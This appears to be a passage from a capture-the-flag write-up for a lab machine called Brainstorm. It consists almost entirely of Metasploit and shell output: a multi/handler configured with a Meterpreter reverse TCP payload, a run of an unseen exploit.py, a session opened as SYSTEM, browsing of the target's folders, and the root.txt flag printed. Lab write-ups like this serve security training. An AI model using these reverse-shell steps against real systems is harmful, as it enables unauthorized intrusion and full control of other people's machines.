,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
   =[ metasploit v6.0.45-dev                          ]
- --=[ 2134 exploits - 1139 auxiliary - 364 post ]
- --=[ 592 payloads - 45 encoders - 10 nops ]
- --=[ 8 evasion ]
Metasploit tip: Enable verbose logging with set VERBOSE
true
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name  Current Setting  Required  Description
Payload options (generic/shell_reverse_tcp):
Name   Current Setting  Required  Description
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port
Exploit target:
Id  Name
0   Wildcard Target
msf6 exploit(multi/handler) > set LHOST 10.2.23.54
LHOST => 10.2.23.54
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.2.23.54:4444        

Running the exploit:

┌──(root??kali)-[~/Buffer Overflow/thmbfprep/brainstorm/chatserver]
└─# python3 exploit.py
Sending payload        

Reverse Shell:

[*] Sending stage (175174 bytes) to 10.10.53.141
[*] Meterpreter session 1 opened (10.2.23.54:4444 -> 10.10.53.141:49271) at 2023-02-07 07:28:25 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
**Computer        : BRAINSTORM**
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
**Meterpreter     : x86/windows**
meterpreter > shell
Process 2032 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>cd C:\
cd C:\
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is C87F-5040
Directory of C:\
08/29/2019  07:36 PM    <DIR>          ftp
08/29/2019  07:31 PM    <DIR>          inetpub
07/13/2009  07:20 PM    <DIR>          PerfLogs
11/20/2010  11:16 PM    <DIR>          Program Files
08/29/2019  07:28 PM    <DIR>          Program Files (x86)
08/29/2019  09:20 PM    <DIR>          Users
09/02/2019  04:36 PM    <DIR>          Windows
0 File(s)              0 bytes
7 Dir(s)  19,594,682,368 bytes free
C:\>cd users
cd users
C:\Users>dir 
dir
Volume in drive C has no label.
Volume Serial Number is C87F-5040
Directory of C:\\Users
08/29/2019  09:20 PM    <DIR>          .
08/29/2019  09:20 PM    <DIR>          ..
08/29/2019  09:21 PM    <DIR>          drake
11/20/2010  11:16 PM    <DIR>          Public
0 File(s)              0 bytes
4 Dir(s)  19,594,682,368 bytes free
C:\Users>cd drake
cd drake
C:\Users\drake>dir
dir
Volume in drive C has no label.
Volume Serial Number is C87F-5040
Directory of C:\Users\drake
08/29/2019  09:21 PM    <DIR>          .
08/29/2019  09:21 PM    <DIR>          ..
08/29/2019  09:21 PM    <DIR>          Contacts
08/29/2019  09:55 PM    <DIR>          Desktop
08/29/2019  09:21 PM    <DIR>          Documents
08/29/2019  09:27 PM    <DIR>          Downloads
08/29/2019  09:21 PM    <DIR>          Favorites
08/29/2019  09:21 PM    <DIR>          Links
08/29/2019  09:21 PM    <DIR>          Music
08/29/2019  09:21 PM    <DIR>          Pictures
08/29/2019  09:21 PM    <DIR>          Saved Games
08/29/2019  09:21 PM    <DIR>          Searches
08/29/2019  09:21 PM    <DIR>          Videos
0 File(s)              0 bytes
13 Dir(s)  19,594,682,368 bytes free
C:\Users\drake>cd Desktop
cd Desktop
C:\Users\drake\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is C87F-5040
Directory of C:\Users\drake\Desktop
08/29/2019  09:55 PM    <DIR>          .
08/29/2019  09:55 PM    <DIR>          ..
08/29/2019  09:55 PM                32 root.txt
1 File(s)             32 bytes
2 Dir(s)  19,594,682,368 bytes free
C:\Users\drake\Desktop>type root.txt
type root.txt
**5b1001de5a44eca47eee71e7942a8f8a**        


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